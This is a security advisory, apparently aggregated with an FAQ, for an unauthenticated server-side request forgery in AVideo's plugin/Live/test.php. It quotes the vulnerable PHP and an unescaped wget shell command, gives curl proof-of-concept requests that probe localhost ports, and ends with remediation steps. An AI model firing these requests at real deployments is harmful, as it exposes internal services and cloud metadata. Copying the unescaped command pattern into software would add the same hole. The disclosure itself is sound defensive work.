CVE-2026-33502: AVideo has Unauthenticated SSRF via plugin/Live/test.php
Summary An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.
Details The endpoint accepts $REQUEST['statsURL'] and only checks that it starts with http:
php $statsURL = $REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !pregmatch("/^http/", $statsURL)) { exit; }
It then calls:
php $result = urlgetcontents($statsURL, 2);
Inside the same file, urlgetcontents() performs a real outbound request with filegetcontents() when allowurlfopen is enabled:
php $tmp = filegetcontents($url, false, $context); log('filegetcontents:: '.htmlentities($tmp));
There is:
- no authentication check - no allowlist of trusted stats URLs - no SSRF-safe URL validation - reflected response/error output
Validated on source:
- test.php
PoC Target used during validation:
text http://127.0.0.1:80
1. Probe a closed localhost port:
bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'
Observed response excerpt:
text Starting try to get URL http://127.0.0.1:1/ urlgetcontents start timeout=2 Warning: filegetcontents(http://127.0.0.1:1/): Failed to open stream: Connection refused filegetcontents fail return an empty content FAIL
2. Probe the local web service itself:
bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'
This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.
Impact This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.
An attacker can:
- probe localhost and internal network services - distinguish open and closed ports - target cloud metadata endpoints if reachable - retrieve reflected content from internal HTTP services when the upstream responds with a body
The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.
remediation The safest fix is to remove plugin/Live/test.php from production deployments.
If it must remain:
- require admin authentication - only allow requests to explicitly configured Live stats URLs - block localhost, RFC1918, link-local, and metadata IP ranges - stop reflecting fetched bodies and raw upstream errors to the client
Minimal hardening example:
php requireonce dirname(FILE) . '/../../videos/configuration.php';
if (!User::isAdmin()) { httpresponsecode(403); exit('Forbidden'); }
$statsURL = $REQUEST['statsURL'] ?? ''; if (empty($statsURL) || !isSSRFSafeURL($statsURL)) { exit('Unsafe URL'); }
Remove wget Fallback Entirely
The wget fallback provides no unique value over filegetcontents + curl and introduces shell exposure. Remove lines 94–119 of test.php.
If wget must remain, escape the argument:
php // BEFORE (vulnerable) $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
// AFTER (safe) $cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate";
Defense in Depth
1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access) 2. Add isSSRFSafeURL() check (already exists in objects/functions.php) before any fetch 3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33502?
CVE-2026-33502 is classified as a critical unauthenticated server-side request forgery vulnerability.
How do I fix CVE-2026-33502?
To fix CVE-2026-33502, upgrade to a version of AVideo greater than 26.0 that addresses the vulnerability.
What are the potential impacts of CVE-2026-33502?
The potential impacts of CVE-2026-33502 include unauthorized access to internal HTTP resources and probing of localhost services.
Who is affected by CVE-2026-33502?
Any user running AVideo version 26.0 or lower is affected by CVE-2026-33502.
What is the initial exposure for CVE-2026-33502?
CVE-2026-33502 can be exploited by any unauthenticated remote user, making it highly concerning for security.